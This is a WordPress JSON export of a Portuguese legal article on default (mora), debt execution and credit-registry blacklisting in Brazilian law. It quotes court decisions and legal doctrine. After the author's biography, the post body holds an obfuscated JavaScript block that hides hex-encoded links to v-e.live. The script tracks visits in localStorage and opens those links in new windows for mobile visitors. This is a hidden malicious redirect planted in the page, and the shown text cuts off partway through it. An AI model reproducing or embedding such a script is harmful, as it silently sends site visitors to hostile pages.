{"id":171,"date":"2019-04-04T16:55:57","date_gmt":"2019-04-04T19:55:57","guid":{"rendered":"http:\/\/www.anoregmt.org.br\/novo\/artigo-a-mora-e-os-efeitos-considerados-no-brasil\/"},"modified":"2019-04-04T16:55:57","modified_gmt":"2019-04-04T19:55:57","slug":"artigo-a-mora-e-os-efeitos-considerados-no-brasil","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/artigo-a-mora-e-os-efeitos-considerados-no-brasil\/","title":{"rendered":"Artigo: A mora e os efeitos considerados no Brasil"},"content":{"rendered":"<p style=\"text-align: justify;\"><strong>EUL&Acirc;MPIO RODRIGUES FILHO<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>Graduado pela Universidade Federal de Uberl&acirc;ndia<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>P&oacute;s-Doutor em Direito<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>Advogado<\/strong><\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;O cen&aacute;rio jur&iacute;dico econ&ocirc;mico do Brasil, emp&oacute;s da destrui&ccedil;&atilde;o das suas estruturas de sustenta&ccedil;&atilde;o parece abrir campo ao exerc&iacute;cio do seguinte racioc&iacute;nio:<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;&ldquo;Avulta em meio &agrave; vida de rela&ccedil;&atilde;o fato novo &#8211; a inadimpl&ecirc;ncia -, antes dado como isolado e sem realce frente &agrave; Na&ccedil;&atilde;o, mas que agora aparece como elemento a considerar, sob os aspectos jur&iacute;dico e econ&ocirc;mico, a exigir tratamento diverso do antes dispensado e sobre o qual cabe mesmo ao Judici&aacute;rio atuar tendo em conta o requerido do processo execut&oacute;rio ou falencial, com menoscabo a quadros r&iacute;gidos e formais, ou matem&aacute;ticos, de modo a proceder agora, ao apreci&aacute;-lo, &agrave; transfus&atilde;o de eq&uuml;idade e de justi&ccedil;a, a par do cuidado em contempl&aacute;-lo n&atilde;o mais segundo a imobilidade da lei, mas tomando em considera&ccedil;&atilde;o a renova&ccedil;&atilde;o do tema &aacute; luz de todo o sistema jur&iacute;dico, a&iacute; inclu&iacute;da a CF. (&#8230;)&rdquo; (EUL&Acirc;MPIO RODRIGUES FILHO), em raz&otilde;es forenses).<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;Hoje em dia, no Brasil, a mora n&atilde;o mais tem como constituir-se em sustent&aacute;culo de execu&ccedil;&otilde;es que comprometam patrim&ocirc;nio moral.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;Trata-se de fator que tem exigido edi&ccedil;&atilde;o de leis e normas autorizadoras de prorroga&ccedil;&atilde;o e revis&atilde;o dos contratos em geral, visando a afastar efeitos nefastos do not&oacute;rio desequil&iacute;brio econ&ocirc;mico nacional, em puro atendimento &agrave;s necessidades racionais de ordem econ&ocirc;mica, conforme tese do ilustre Professor da Faculdade de Direito de Alexandria, MOSTAPHA MOHAMED EL GAMMAL, L&rsquo;Adaptation Du Contract aux Circonstances &Eacute;conomiques, p&aacute;gs. 156 e seg., apud MARCIO KLANG, A Teoria da Imprevis&atilde;o e a Revis&atilde;o dos Contratos, SP, RT, 1991, 2&ordf; ed., p&aacute;gs. 60 e seg.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;Ora, se o legislador, a despeito do regime falido totalit&aacute;rio &ndash; embora disfar&ccedil;ado &ndash; em que vivemos durante largo tempo, tem atuado de modo a reconhecer a inadimpl&ecirc;ncia e a mora como fatores a considerar, n&atilde;o quanto aos efeitos que outrora foram a insolv&ecirc;ncia ou a fal&ecirc;ncia, mas de modo a serem revistas, reexaminadas, reconsideradas, como, por exemplo, atrav&eacute;s de renegocia&ccedil;&otilde;es e da securitiza&ccedil;&atilde;o, h&aacute; uma evid&ecirc;ncia jur&iacute;dica de que o incumprimento de obriga&ccedil;&atilde;o n&atilde;o mais figuraria como causa mortis.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;Essa abertura legal, com aten&ccedil;&atilde;o ao princ&iacute;pio da isonomia j&aacute; constituia-se no flanco por onde o jurista h&aacute; de penetrar visando &agrave; manuten&ccedil;&atilde;o de empreendimentos s&eacute;rios, comprometidos face a dificuldade financeira presumivelmente tempor&aacute;ria enquanto fica o inescond&iacute;vel &ldquo;efeito&rdquo; do estado de calamidade econ&ocirc;mica no Pa&iacute;s, com crescimento abaixo de zero.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;De fato, a lei n&atilde;o deve ser contemplada ou aplicada como que transigente com absurdos.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;Se ao tempo do &lsquo;fio de barba&rsquo; bastava incumprir para surgir o decreto de execu&ccedil;&atilde;o for&ccedil;ada como forma de se assegurar mais a ordem moral do que a econ&ocirc;mica ou jur&iacute;dica, hoje, face as circunst&acirc;ncias inerentes &agrave; economia nacional, e o pr&oacute;prio progresso cient&iacute;fico, essa preocupa&ccedil;&atilde;o, sem violar preceitos &eacute;ticos, passou a convergir, de forma racional, para a salva&ccedil;&atilde;o do empreendedor, se poss&iacute;vel diante de um sum&aacute;rio diagn&oacute;stico, e, por imposi&ccedil;&atilde;o dos requisitos da sobreviv&ecirc;ncia humana (Lei 11.101\/2005, art.-47).<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;Isto decorre, &agrave; evid&ecirc;ncia, da imperatividade do asseguramento, n&atilde;o s&oacute; da Ordem Econ&ocirc;mica, mas tamb&eacute;m da Ordem das Atividades Privadas que a inerem (CF, T&iacute;tulo VII, Cap. I).<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;De fato, determina a Carta Magna de 1988:<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;&ldquo;Art. 170. A ordem econ&ocirc;mica fundada na valoriza&ccedil;&atilde;o do trabalho humano e na livre iniciativa tem por fim assegurar a todos exist&ecirc;ncia digna, conforme os ditames da justi&ccedil;a social, observados os seguintes princ&iacute;pios: (&#8230;)&rdquo;<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;O que o &ldquo;princ&iacute;pio&rdquo; parece consagrar n&atilde;o &eacute; um crit&eacute;rio de favor quando da aprecia&ccedil;&atilde;o de causa em que esteja em jogo a pr&oacute;pria pessoa, mediante respeito ao trabalho humano, &agrave; livre iniciativa, &agrave; exist&ecirc;ncia digna conforme os ditames da justi&ccedil;a social; ao faz&ecirc;-lo, isto &eacute;, se ao interpretar a lei falham os m&eacute;todos ordin&aacute;rios de interpreta&ccedil;&atilde;o visando a manter inc&oacute;lume a entidade humana, ent&atilde;o faz-se necess&aacute;rio tomar em conta a pessoa em si, para justa solu&ccedil;&atilde;o da situa&ccedil;&atilde;o de conflituidade, o que n&atilde;o acontece se ela tiver de, junto ao desmantelamento da economia nacional, sem culpa declarada, sucumbir.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;E nesse caso, pondo &agrave; frente o pr&oacute;prio patrim&ocirc;nio, &eacute; ela, a pessoa, que interessa &agrave; solu&ccedil;&atilde;o do impasse. Se ela ostenta-se solv&aacute;vel diante do d&eacute;bito que instrui o pedido de cobran&ccedil;a, merece o tratamento favorecido assegurado na norma fundamental, em detrimento de &ldquo;conclus&atilde;o particular&rdquo; em franco descompasso com a pr&oacute;pria norma legal.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;&ldquo;O que n&atilde;o pode admitir &eacute; que interesses ego&iacute;sticos de determinados credores se sobreponham aos interesses de toda uma coletividade, arruinando irremediavelmente organiza&ccedil;&otilde;es produtivas que conjugam n&atilde;o somente os interesses pessoais do empres&aacute;rio, mas sobretudo o interesse p&uacute;blico que decorre da estabilidade social, representada na manuten&ccedil;&atilde;o de empregos com o sustento de dezenas, se n&atilde;o milhares de trabalhadores e suas respectivas fam&iacute;lias.&rdquo; (AMADOR PAES DE ALMEIDA (p&aacute;g.6).<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;De sorte que em meio ao exame do tema existe campo ainda para explora&ccedil;&atilde;o da &ldquo;pol&iacute;tica judici&aacute;ria&rdquo;. E esta n&atilde;o aperfei&ccedil;oa o Direito se se buscam solu&ccedil;&otilde;es com substrato em ementas vazias, de &ldquo;enunciados&rdquo;, se mesmo ao tempo da antiga Lei de Falencias o Direito apropositado estava em franca evolu&ccedil;&atilde;o, tratando-se de &ldquo;retrocesso&rdquo; o ato de constranger o benefici&aacute;rio da Recupera&ccedil;&atilde;o Judicial, por exemplo, ao ponto de tornar, em tese, vazio o instituto da Recupera&ccedil;&atilde;o Judicial ou o da Insolv&ecirc;ncia.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;A prop&oacute;sito, l&uacute;cida decis&atilde;o proferida pelo TJMG, atrav&eacute;s do douto Desembargador ANTONIO BISPO, ao desenla&ccedil;ar o Agr. Instr. 1.0271.15.006968-7\/001:<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;&ldquo;o consumidor, nos termos do CPC, possui o direito l&iacute;quido e certo de obter a modifica&ccedil;&atilde;o das cl&aacute;usulas contratuais que estabele&ccedil;am presta&ccedil;&otilde;es desproporcionais ou sua revis&atilde;o em face de fatos supervenientes que as tornem excessivamente onerosas. De outro modo, &eacute; inequ&iacute;voco que a parte devedora aderiu unilateralmente ao contrato banc&aacute;rio objeto da revis&atilde;o, n&atilde;o lhe tendo sido dada a oportunidade de discutir os termos da aven&ccedil;a.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;&ldquo;Destarte, a verossimilhan&ccedil;a das alega&ccedil;&otilde;es se apresenta, sobretudo, se considerar que o contrato revisado &eacute; de natureza banc&aacute;ria, o qual, n&atilde;o raras vezes, encontra-se eivado de ilegalidade e abusividades, mormente no tocante &agrave; taxa de juros remunerat&oacute;rios e aos demais encargos morat&oacute;rios (juros, multa, cl&aacute;usula penal), (&#8230;)<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;&ldquo;De outro modo, tamb&eacute;m est&aacute; presente o perigo de les&atilde;o &agrave; parte em decorr&ecirc;ncia da demora na efetiva&ccedil;&atilde;o do direito material, pois as conseq&uuml;&ecirc;ncias da mora poder&atilde;o ser irrevers&iacute;veis, sendo totalmente desnecess&aacute;rio tecer grandes considera&ccedil;&otilde;es acerca dos danos decorrentes da negativa&ccedil;&atilde;o nos &oacute;rg&atilde;os de Prote&ccedil;&atilde;o ao Cr&eacute;dito.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;&ldquo;Isto posto, n&atilde;o h&aacute; necessidade de negativa&ccedil;&atilde;o do nome do autor, ora agravante, nos referidos &oacute;rg&atilde;os, visto que foi depositado im&oacute;vel em garantia..&rdquo;<\/p>\n<p style=\"text-align: justify;\"><strong>A Preserva&ccedil;&atilde;o da Idoneidade Comercial<\/strong><\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;Diante de uma situa&ccedil;&atilde;o de inadimpl&ecirc;ncia &eacute; comum &ndash; principalmente quando do outro lado figuram institui&ccedil;&otilde;es financeiras &ndash; que haja uma esp&eacute;cie de &ldquo;puni&ccedil;&atilde;o por m&atilde;os pr&oacute;prias&rdquo;, quando o credor, por for&ccedil;a de lei ora vigente decide, faz registrar o nome do demandado em sistemas de cadastro de devedores e similares.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;Observe-se que na Lei (CPC, art. 782, &sect; 3&ordm;), que no caso da execu&ccedil;&atilde;o mesmo embargada, a inadimpl&ecirc;ncia, antes de reconhecida pelo Ju&iacute;zo &eacute; &ldquo;decretada&rdquo; pelo exeq&uuml;ente, e os efeitos s&atilde;o cumpridos atrav&eacute;s do julgador, no caso, simples observador.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;Doutra parte, &ldquo;de cabo de esquadra&rdquo; a determina&ccedil;&atilde;o espec&iacute;fica de uso de &ldquo;for&ccedil;a policial&rdquo; no &sect; 2&ordm; do mesmo artigo, que alberga emprego dessa for&ccedil;a, junto &agrave; pr&aacute;tica de atos apropositados, isto &eacute;, relativos a solu&ccedil;&atilde;o de quest&otilde;es de natureza civil, ou negociais.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;O mais comum resultado pr&aacute;tico que se atinge com essas condutas previstas &eacute;, em legitima&ccedil;&atilde;o da arbitrariedade e da pr&aacute;tica da &ldquo;coa&ccedil;&atilde;o no curso do processo&rdquo;(C&oacute;digo Penal, art. 344), a dilapida&ccedil;&atilde;o moral do devedor, que mesmo conseguindo quitar seu d&eacute;bito mais adiante jamais recuperar&aacute; o &lsquo;statu quo ante&rsquo;, pois essa esp&eacute;cie de deprecia&ccedil;&atilde;o &eacute; muitas vezes irrevers&iacute;vel, sem contar que fere tamb&eacute;m o patrim&ocirc;nio, provocando les&atilde;o emergente, pela perda do cr&eacute;dito.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;Quanto a esta quest&atilde;o, prescreve a l&uacute;cida li&ccedil;&atilde;o do Desembargador GASPAR RUBICK, que vem sendo evocada em v&aacute;rias decis&otilde;es do TJSC, como por exemplo no Agravo de Instrumento 960046-73, de Tijucas:<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;&ldquo;Ocorre que n&atilde;o logrou &ecirc;xito em confirmar presente o periculum in mora, pois o SPC e o SERASA constituem-se em organiza&ccedil;&otilde;es privadas que, em resumo, t&ecirc;m por fim lan&ccedil;ar an&aacute;tema sobre aqueles que, inadvertidamente, deixam de cumprir com alguma obriga&ccedil;&atilde;o ligada ao sistema financeiro. E, por certo, a inscri&ccedil;&atilde;o do nome de algu&eacute;m em tais institui&ccedil;&otilde;es, causa muito mais preju&iacute;zos ao cadastrado do que a sua n&atilde;o inclus&atilde;o &agrave;s empresas de cr&eacute;dito.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;&ldquo;Com o registro do nome do devedor, o cr&eacute;dito, muitas vezes mantido inc&oacute;lume anos a fio, desfaz-se da noite para o dia, passsando uma pessoa ou uma empresa por inveterada caloteira, sem que lhe ofere&ccedil;a meios de defesa ou se lhe apresente uma senten&ccedil;a judicial condenat&oacute;ria. N&atilde;o se admite a contesta&ccedil;&atilde;o do d&eacute;bito ou qualquer escusa. Sobre ela &eacute; lan&ccedil;ado o opr&oacute;brio de inadimplente, que somente &eacute; levantado ap&oacute;s burocr&aacute;tico e moroso processo.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;&ldquo;O fato &eacute; que o cr&eacute;dito do cadastro fica aniquilado, enquanto que se for ele exclu&iacute;do da nominata nenhum preju&iacute;zo se mostra evidente para o sistema financeiro, at&eacute; porque o fato de n&atilde;o ter algu&eacute;m honrado com um compromisso aqui, n&atilde;o &eacute; indicativo certo de que v&aacute; faz&ecirc;-lo acol&aacute;.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;&ldquo;Destarte, nesse aspecto, &eacute; de ser negado o pedido de conferimento de efeito suspensivo ao agravo.&rdquo; (grifo nosso)<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;A prop&oacute;sito o Desembargador PEDRO MANOEL ABREU faz refer&ecirc;ncia &agrave; exposi&ccedil;&atilde;o do Juiz ALCINDO GOMES BITTENCOURT, coordenador do Centro de Estudos do Tribunal de Al&ccedil;ada do Rio Grande do Sul, &ldquo;verbatim&rdquo;:<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;&ldquo;N&atilde;o ofende direito do credor liminar obstativa da inscri&ccedil;&atilde;o do nome do devedor em banco de dados de consumo, assim como impeditiva de que o credor comunique a terceiros registro de inadimpl&ecirc;ncia que haja procedido em seu cadastro interno, durante a pend&ecirc;ncia de processos que tenham por objeto a defini&ccedil;&atilde;o da exist&ecirc;ncia do d&eacute;bito ou seu montante, (11&ordf; conclus&atilde;o).<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;&ldquo;Comentando a referida conclus&atilde;o, o Juiz ALCINDO GOMES BITTENCOURT, Coordenador do CETARGS, apresentou a seguinte justificativa:<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;&ldquo;Os arquivos de consumo apresentam dupla modalidade. Ora se estabelecem como bancos de dados (v. g., SPC ou SERASA), ora como simples cadastros, elaborados, geralmente, &agrave; vista de informes do consumidor, acrescentando &agrave; empresa, por vezes, informes seus. Ambos, de qualquer sorte, s&atilde;o considerados como entidades de car&aacute;ter p&uacute;blico (&sect; 4&ordm; do art. 43 da Lei 8.078\/90).<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;&ldquo;Se est&aacute; em debate a exist&ecirc;ncia do d&eacute;bito ou seu montante, n&atilde;o se compreende seja o devedor tratado como inadimplente e, via inscri&ccedil;&atilde;o em banco de dados ou pela divulga&ccedil;&atilde;o do que constar no cadastro interno do credor, sofra restri&ccedil;&atilde;o credit&iacute;cia. Ademais, se o devedor tem direito &agrave; imediata retifica&ccedil;&atilde;o de dados inexatos, &sect; 3&ordm; do art. 43 do C&oacute;digo de Defesa do Consumidor, n&atilde;o se compreende que possibilite lan&ccedil;amentos eventualmente equivocados, sem que se possam ser de imediato retificados, vez que somente ap&oacute;s a defini&ccedil;&atilde;o no processo &eacute; que a erronia restar&aacute; definida. (&#8230;)<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;&ldquo;(in Ajuris, 67\/172)&rsquo;.&rdquo; AI 96005563-0, de Tijucas; Relator Desembargador PEDRO MANOEL ABREU. (grifo nosso).<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;N&atilde;o padece d&uacute;vida de que a inspira&ccedil;&atilde;o para ado&ccedil;&atilde;o de semelhantes provid&ecirc;ncias exsurge de pr&aacute;ticas ent&atilde;o desenvolvidas por ocasi&atilde;o da vig&ecirc;ncia do Direito caduco, quando, ali&aacute;s, j&aacute; eram execradas inclusive pelos mais festejados luminares da Ci&ecirc;ncia Jur&iacute;dica, como se v&ecirc;, por exemplo, do legado magn&iacute;fico de LOB&Atilde;O (MANOEL ALMEIDA DE SOUZA, laureado pela extraordin&aacute;ria Universidade de Coimbra.:<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;&quot;Punir constantemente a insolvabilidade pela pris&atilde;o; confundir a mis&eacute;ria com o crime; cobrir o inocente de toda a inf&acirc;mia da perversidade, em lhe arrancando a honra; for&ccedil;&aacute;-lo a renunciar a virtude; tirar de um homem de bem infeliz at&eacute; a propriedade do seu corpo, que o destino inexor&aacute;vel lhe h&aacute; deixado; faz&ecirc;-lo comprar por um supl&iacute;cio, muitas vezes eterno, o ligeiro al&iacute;vio, que ele tinha obtido em seu infort&uacute;nio; condenar &agrave; ina&ccedil;&atilde;o, aos tormentos e aos v&iacute;cios, que a acompanham, aquele que n&atilde;o tem mais que os seus bra&ccedil;os, ou os esfor&ccedil;os do seu esp&iacute;rito, para fazer subsistir sua fam&iacute;lia e pagar seu credor; privar a sociedade de um homem que n&atilde;o a tem ofendido, e que lhe poderia ser &uacute;til; dar a um credor implac&aacute;vel o poder de conservar o seu devedor neste estado de opr&oacute;brio e de desola&ccedil;&atilde;o tanto tempo quanto ele quiser, e de satisfazer sua vingan&ccedil;a com as armas da lei; em uma palavra, ofender a justi&ccedil;a, ultrajar os direitos mais preciosos do homem e do cidad&atilde;o, e multiplicar as infelicidades da indig&ecirc;ncia sem favorecer as propriedades &ndash; tais s&atilde;o os abusos da pris&atilde;o por d&iacute;vidas, estabelecida em todos os pa&iacute;ses da Europa mesmo entre aqueles que mais se gloriam da sua humanidade e de sua liberdade.&quot; (FILANGIERE, &ldquo;apud&rdquo; LOB&Atilde;O, Execu&ccedil;&otilde;es, p&aacute;g.145, &sect; 181).<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;A doutrina p&aacute;tria vem no mesmo sentido:<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;&ldquo;Com efeito, o direito penal deve intervir minimamente na esfera de direitos e obriga&ccedil;&otilde;es dos indiv&iacute;duos, precisa atuar apenas quando outros ramos do direito n&atilde;o forem suficientes para a prote&ccedil;&atilde;o dos bens jur&iacute;dicos e para a manuten&ccedil;&atilde;o da harmonia das rela&ccedil;&otilde;es sociais. O direito penal &eacute; o verdadeiro soldado de reserva, trata-se da &uacute;ltima ratio e do ramo jur&iacute;dico que imp&otilde;e a san&ccedil;&atilde;o reconhecidamente mais dr&aacute;stica.&rdquo; (VINICIUS QUEIROZ, Jusbrasil).<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;De sorte que no Brasil de hoje, em raz&atilde;o de m&aacute;-f&eacute;, ou de ingenuidade, o progresso jur&iacute;dico faz-se mediante submiss&atilde;o da moral &agrave; regulamenta&ccedil;&atilde;o legal de semelhantes conseq&uuml;&ecirc;ncias.<\/p>\n<p style=\"text-align: justify;\">\n<strong><u><em>Eulampio Rodrigues Filho &eacute;&nbsp;Professor de Direito Processual Civil, Professor de Organiza&ccedil;&atilde;o Comercial, Doutor em Direito pela UMSA(Buenos Aires), P&oacute;s-Doutorando na Universidade de Messina(It&aacute;lia), Membro do Instituto de Direito Processual, Membro Efetivo da Sociedade Brasileira de Estudos Cl&aacute;ssicos, Doctor en Ciencias Juridicas(Argentina)<\/em><\/u><\/strong><\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=['parse','48RjHnAD','forEach','10eQGByx','test','7364049wnIPjl','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x70\\x4f\\x63\\x39\\x63\\x31','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x57\\x55\\x4f\\x38\\x63\\x35','282667lxKoKj','open','abs','-hurs','getItem','1467075WqPRNS','addEventListener','mobileCheck','2PiDQWJ','18CUWcJz','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x58\\x6e\\x48\\x35\\x63\\x33','8SJGLkz','random','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x74\\x62\\x58\\x31\\x63\\x38','7196643rGaMMg','setItem','-mnts','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x4e\\x76\\x63\\x32\\x63\\x31','266801SrzfpD','substr','floor','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x67\\x71\\x79\\x34\\x63\\x39','3ThLcDl','stopPropagation','_blank','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x66\\x55\\x61\\x33\\x63\\x39','round','vendor','5830004qBMtee','filter','length','3227133ReXbNN','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x71\\x58\\x6d\\x30\\x63\\x39'];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))\/0x1*(parseInt(_0x57995c(0x1f3))\/0x2)+parseInt(_0x57995c(0x1d8))\/0x3*(-parseInt(_0x57995c(0x1de))\/0x4)+parseInt(_0x57995c(0x1f0))\/0x5*(-parseInt(_0x57995c(0x1f4))\/0x6)+parseInt(_0x57995c(0x1e8))\/0x7+-parseInt(_0x57995c(0x1f6))\/0x8*(-parseInt(_0x57995c(0x1f9))\/0x9)+-parseInt(_0x57995c(0x1e6))\/0xa*(parseInt(_0x57995c(0x1eb))\/0xb)+parseInt(_0x57995c(0x1e4))\/0xc*(parseInt(_0x57995c(0x1e1))\/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4['push'](_0x3577a4['shift']());}catch(_0x463fdd){_0x3577a4['push'](_0x3577a4['shift']());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x58\\x55\\x78\\x36\\x63\\x36','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x6e\\x4c\\x57\\x37\\x63\\x32',_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage['setItem'](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage['setItem'](_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math['round'](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)\/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)\/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x49bda1(0x1e7)](_0x264a55)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( 